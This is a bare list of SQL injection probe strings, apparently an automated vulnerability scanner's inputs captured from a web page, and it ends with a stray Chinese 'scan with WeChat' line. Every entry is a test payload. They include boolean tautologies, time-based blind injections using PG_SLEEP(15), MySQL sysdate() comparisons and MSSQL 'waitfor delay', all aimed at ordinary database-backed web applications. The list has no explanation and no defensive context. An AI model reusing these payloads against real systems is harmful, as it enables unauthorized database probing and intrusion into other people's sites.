- xuI90w4V')) OR 952=(SELECT 952 FROM PG_SLEEP(15))--
- @@NR9yZ
- 1mzyVEqCX
- -1 OR 2+489-489-1=0+0+0+1 --
- -1 OR 2+443-443-1=0+0+0+1
- -1' OR 2+314-314-1=0+0+0+1 --
- -1' OR 2+871-871-1=0+0+0+1 or 'v7OP3RZq'='
- -1" OR 2+636-636-1=0+0+0+1 --
- 1*if(now()=sysdate()
- 10'XOR(1*if(now()=sysdate()
- 10"XOR(1*if(now()=sysdate()
- 1-1
- 1-1)
- 1-1 waitfor delay '0:0:15' --
- 1tH59WnxT'
- 1-1 OR 114=(SELECT 114 FROM PG_SLEEP(15))--
- 1-1) OR 687=(SELECT 687 FROM PG_SLEEP(15))--
- 1-1)) OR 607=(SELECT 607 FROM PG_SLEEP(15))--
- 1hFrpWrDU' OR 798=(SELECT 798 FROM PG_SLEEP(15))--
- 1MSQjzecL') OR 554=(SELECT 554 FROM PG_SLEEP(15))--
- 1X9Vac5Ip')) OR 33=(SELECT 33 FROM PG_SLEEP(15))--
- 1%2527%2522\'\"
- @@D7i5x
- 1u57zHeUR
- -1 OR 2+597-597-1=0+0+0+1 --
- -1 OR 2+798-798-1=0+0+0+1
- -1' OR 2+792-792-1=0+0+0+1 --
- -1' OR 2+201-201-1=0+0+0+1 or 'BFmExHt9'='
- -1" OR 2+884-884-1=0+0+0+1 --
- 1coUYhDOQ'
- 1-1 OR 783=(SELECT 783 FROM PG_SLEEP(15))--
- 1-1) OR 544=(SELECT 544 FROM PG_SLEEP(15))--
- 1-1)) OR 214=(SELECT 214 FROM PG_SLEEP(15))--
- 1Y0ihOzrh' OR 667=(SELECT 667 FROM PG_SLEEP(15))--
- 1IIwq3wTf') OR 479=(SELECT 479 FROM PG_SLEEP(15))--
- 1yZz4PmrF')) OR 443=(SELECT 443 FROM PG_SLEEP(15))--
- @@Ye0l0
微信扫一扫, 保存到手机
